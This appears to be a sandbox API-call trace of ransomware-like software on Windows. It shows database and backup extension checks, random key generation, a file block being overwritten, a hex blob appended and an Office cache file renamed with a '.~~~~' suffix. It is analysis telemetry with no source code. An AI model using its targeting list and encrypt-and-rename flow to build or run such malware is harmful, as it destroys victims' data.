	[0075.677] lstrlenW (lpString=".mdf") returned 4
	[0075.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".mdf") returned 0x0
	[0075.677] lstrlenW (lpString=".BAK") returned 4
	[0075.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".BAK") returned 0x0
	[0075.677] lstrlenW (lpString=".BAC") returned 4
	[0075.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".BAC") returned 0x0
	[0075.677] lstrlenW (lpString=".dbs") returned 4
	[0075.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".dbs") returned 0x0
	[0075.677] lstrlenW (lpString=".vhdx") returned 5
	[0075.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".vhdx") returned 0x0
	[0075.677] lstrlenW (lpString=".NDF") returned 4
	[0075.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".NDF") returned 0x0
	[0075.677] lstrlenW (lpString=".dat") returned 4
	[0075.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".dat") returned 0x0
	[0075.677] lstrlenW (lpString=".DBS") returned 4
	[0075.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".DBS") returned 0x0
	[0075.677] lstrlenW (lpString=".CKP") returned 4
	[0075.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".CKP") returned 0x0
	[0075.677] lstrlenW (lpString=".edb") returned 4
	[0075.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".edb") returned 0x0
	[0075.677] lstrlenW (lpString=".PST") returned 4
	[0075.677] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".PST") returned 0x0
	[0075.677] lstrlenW (lpString=".dbf") returned 4
	[0075.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".dbf") returned 0x0
	[0075.678] lstrlenW (lpString=".SQL") returned 4
	[0075.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".SQL") returned 0x0
	[0075.678] lstrlenW (lpString=".pst") returned 4
	[0075.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".pst") returned 0x0
	[0075.678] lstrlenW (lpString=".dbv") returned 4
	[0075.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".dbv") returned 0x0
	[0075.678] lstrlenW (lpString=".SDF") returned 4
	[0075.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".SDF") returned 0x0
	[0075.678] lstrlenW (lpString=".dtxs") returned 5
	[0075.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".dtxs") returned 0x0
	[0075.678] lstrlenW (lpString=".db3") returned 4
	[0075.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".db3") returned 0x0
	[0075.678] lstrlenW (lpString=".OST") returned 4
	[0075.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".OST") returned 0x0
	[0075.678] lstrlenW (lpString=".dbx") returned 4
	[0075.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".dbx") returned 0x0
	[0075.678] lstrlenW (lpString=".DB3") returned 4
	[0075.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".DB3") returned 0x0
	[0075.678] lstrlenW (lpString=".DAT") returned 4
	[0075.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".DAT") returned 0x0
	[0075.678] lstrlenW (lpString=".VHDX") returned 5
	[0075.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".VHDX") returned 0x0
	[0075.678] lstrlenW (lpString=".ndf") returned 4
	[0075.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".ndf") returned 0x0
	[0075.678] lstrlenW (lpString=".DB") returned 3
	[0075.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".DB") returned 0x0
	[0075.678] lstrlenW (lpString=".sql") returned 4
	[0075.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".sql") returned 0x0
	[0075.678] lstrlenW (lpString=".MYD") returned 4
	[0075.678] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".MYD") returned 0x0
	[0075.678] lstrlenW (lpString=".DBT") returned 4
	[0075.679] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".DBT") returned 0x0
	[0075.679] lstrlenW (lpString=".ACCDB") returned 6
	[0075.679] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".ACCDB") returned 0x0
	[0075.679] lstrlenW (lpString=".fdb") returned 4
	[0075.679] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".fdb") returned 0x0
	[0075.679] lstrlenW (lpString=".bak") returned 4
	[0075.679] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".bak") returned 0x0
	[0075.679] lstrlenW (lpString=".myd") returned 4
	[0075.679] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".myd") returned 0x0
	[0075.679] lstrlenW (lpString=".DTXS") returned 5
	[0075.679] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".DTXS") returned 0x0
	[0075.679] lstrlenW (lpString=".ckp") returned 4
	[0075.679] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".ckp") returned 0x0
	[0075.679] lstrlenW (lpString=".dbt") returned 4
	[0075.679] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".dbt") returned 0x0
	[0075.679] lstrlenW (lpString=".db") returned 3
	[0075.679] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".db") returned 0x0
	[0075.679] lstrlenW (lpString=".TXT") returned 4
	[0075.679] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".TXT") returned 0x0
	[0075.679] lstrlenW (lpString=".MDF") returned 4
	[0075.679] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".MDF") returned 0x0
	[0075.679] lstrlenW (lpString=".bdb") returned 4
	[0075.679] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".bdb") returned 0x0
	[0075.679] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0075.679] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0075.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7030
	[0075.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0075.679] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0075.680] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0075.680] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0075.680] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0075.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0075.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f1268
	[0075.680] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=19567047907) returned 1
	[0075.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x970d18d0, dwHighDateTime=0x1d60e1e)) 
	[0075.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0075.680] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0075.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0075.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa660
	[0075.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0075.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa660 | out: hHeap=0x300000) returned 1
	[0075.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0075.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0075.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e73a8
	[0075.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0075.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0075.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e73a8 | out: hHeap=0x300000) returned 1
	[0075.681] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0075.681] GetLastError () returned 0x0
	[0075.681] SetLastError (dwErrCode=0x0) 
	[0075.681] GetLastError () returned 0x0
	[0075.681] SetLastError (dwErrCode=0x0) 
	[0075.681] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0075.681] GetLastError () returned 0x0
	[0075.681] SetLastError (dwErrCode=0x0) 
	[0075.681] GetLastError () returned 0x0
	[0075.681] SetLastError (dwErrCode=0x0) 
	[0075.682] GetLastError () returned 0x0
	[0075.682] SetLastError (dwErrCode=0x0) 
	[0075.682] GetLastError () returned 0x0
	[0075.682] SetLastError (dwErrCode=0x0) 
	[0075.682] GetLastError () returned 0x0
	[0075.682] SetLastError (dwErrCode=0x0) 
	[0075.682] GetLastError () returned 0x0
	[0075.682] SetLastError (dwErrCode=0x0) 
	[0075.682] GetLastError () returned 0x0
	[0075.682] SetLastError (dwErrCode=0x0) 
	[0075.682] GetLastError () returned 0x0
	[0075.682] SetLastError (dwErrCode=0x0) 
	[0075.682] GetLastError () returned 0x0
	[0075.682] SetLastError (dwErrCode=0x0) 
	[0075.682] GetLastError () returned 0x0
	[0075.682] SetLastError (dwErrCode=0x0) 
	[0075.682] GetLastError () returned 0x0
	[0075.682] SetLastError (dwErrCode=0x0) 
	[0075.682] GetLastError () returned 0x0
	[0075.682] SetLastError (dwErrCode=0x0) 
	[0075.682] GetLastError () returned 0x0
	[0075.682] SetLastError (dwErrCode=0x0) 
	[0075.682] GetLastError () returned 0x0
	[0075.682] SetLastError (dwErrCode=0x0) 
	[0075.682] GetLastError () returned 0x0
	[0075.682] SetLastError (dwErrCode=0x0) 
	[0075.682] GetLastError () returned 0x0
	[0075.682] SetLastError (dwErrCode=0x0) 
	[0075.683] GetLastError () returned 0x0
	[0075.683] SetLastError (dwErrCode=0x0) 
	[0075.683] GetLastError () returned 0x0
	[0075.683] SetLastError (dwErrCode=0x0) 
	[0075.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0075.683] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x280bfd0
	[0075.683] ReadFile (in: hFile=0x128, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0075.774] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0075.774] WriteFile (in: hFile=0x128, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0075.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0075.775] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.775] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0075.952] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0075.952] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0075.952] CloseHandle (hObject=0x128) returned 1
	[0075.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0075.953] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.~~~~")) returned 1
	[0075.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0075.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0075.953] GetLastError () returned 0x0
	[0075.953] SetLastError (dwErrCode=0x0) 
	[0075.953] GetLastError () returned 0x0
	[0075.954] SetLastError (dwErrCode=0x0) 
	[0075.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623e0 | out: hHeap=0x300000) returned 1
	[0075.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362400 | out: hHeap=0x300000) returned 1
	[0075.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368bb0 | out: hHeap=0x300000) returned 1
	[0075.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f1268 | out: hHeap=0x300000) returned 1
	[0075.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7030 | out: hHeap=0x300000) returned 1
	[0075.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4270 | out: hHeap=0x300000) returned 1
	[0075.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a55d8 | out: hHeap=0x300000) returned 1
	[0075.954] RtlWakeConditionVariable () returned 0x365f70
	[0075.954] GetCurrentThreadId () returned 0x3a4
	[0075.954] GetCurrentThreadId () returned 0x3a4
	[0075.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0075.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7a38 | out: hHeap=0x300000) returned 1
	[0075.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa858 | out: hHeap=0x300000) returned 1
	[0075.954] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7a38
	[0075.954] lstrlenW (lpString=".scr") returned 4
	[0075.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".scr") returned 0x0
	[0075.954] lstrlenW (lpString=".cmd") returned 4
	[0075.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".cmd") returned 0x0
	[0075.954] lstrlenW (lpString=".dll") returned 4
	[0075.954] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".dll") returned 0x0
	[0075.954] lstrlenW (lpString=".bat") returned 4
	[0075.955] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".bat") returned 0x0
	[0075.955] lstrlenW (lpString=".cpl") returned 4
	[0075.955] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".cpl") returned 0x0
	[0075.955] lstrlenW (lpString=".sys") returned 4
	[0075.955] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".sys") returned 0x0
	[0075.955] lstrlenW (lpString=".msc") returned 4
	[0075.955] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".msc") returned 0x0
	[0075.955] lstrlenW (lpString=".com") returned 4
	[0075.955] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".com") returned 0x0
	[0075.955] lstrlenW (lpString=".lnk") returned 4
	[0075.955] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".lnk") returned 0x0
	[0075.955] lstrlenW (lpString=".msp") returned 4
	[0075.955] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".msp") returned 0x0
	[0075.955] lstrlenW (lpString=".pif") returned 4
	[0075.955] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".pif") returned 0x0
	[0075.955] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.955] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0075.955] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0076.021] lstrlenW (lpString=".sqb") returned 4
	[0076.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".sqb") returned 0x0
	[0076.021] lstrlenW (lpString=".ost") returned 4
	[0076.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".ost") returned 0x0
	[0076.021] lstrlenW (lpString=".txt") returned 4
	[0076.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".txt") returned 0x0
	[0076.021] lstrlenW (lpString=".mdt") returned 4
	[0076.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".mdt") returned 0x0
	[0076.021] lstrlenW (lpString=".BDB") returned 4
	[0076.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".BDB") returned 0x0
	[0076.021] lstrlenW (lpString=".eql") returned 4
	[0076.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".eql") returned 0x0
	[0076.021] lstrlenW (lpString=".DBF") returned 4
	[0076.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".DBF") returned 0x0
	[0076.021] lstrlenW (lpString=".EQL") returned 4
	[0076.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".EQL") returned 0x0
	[0076.021] lstrlenW (lpString=".FDB") returned 4
	[0076.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".FDB") returned 0x0
	[0076.021] lstrlenW (lpString=".EDB") returned 4
	[0076.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".EDB") returned 0x0
	[0076.021] lstrlenW (lpString=".DACPAC") returned 7
	[0076.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".DACPAC") returned 0x0
	[0076.021] lstrlenW (lpString=".VHD") returned 4
	[0076.021] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".VHD") returned 0x0
	[0076.021] lstrlenW (lpString=".DBV") returned 4
	[0076.022] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".DBV") returned 0x0
	[0076.022] lstrlenW (lpString=".dacpac") returned 7
	[0076.022] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".dacpac") returned 0x0
	[0076.022] lstrlenW (lpString=".sdf") returned 4
	[0076.022] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".sdf") returned 0x0
	[0076.022] lstrlenW (lpString=".accdb") returned 6
	[0076.022] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".accdb") returned 0x0
	[0076.022] lstrlenW (lpString=".DBX") returned 4
	[0076.022] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".DBX") returned 0x0
	[0076.022] lstrlenW (lpString=".MDT") returned 4
	[0076.022] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".MDT") returned 0x0
	[0076.022] lstrlenW (lpString=".SQB") returned 4
	[0076.022] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".SQB") returned 0x0
	[0076.022] lstrlenW (lpString=".vhd") returned 4
	[0076.022] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".vhd") returned 0x0
	[0076.022] lstrlenW (lpString=".bac") returned 4
	[0076.022] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".bac") returned 0x0
	[0076.022] lstrlenW (lpString=".mdf") returned 4
	[0076.022] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpSrch=".mdf") returned 0x0
	[0076.022] lstrlenW (lpString=".BAK") returned 4
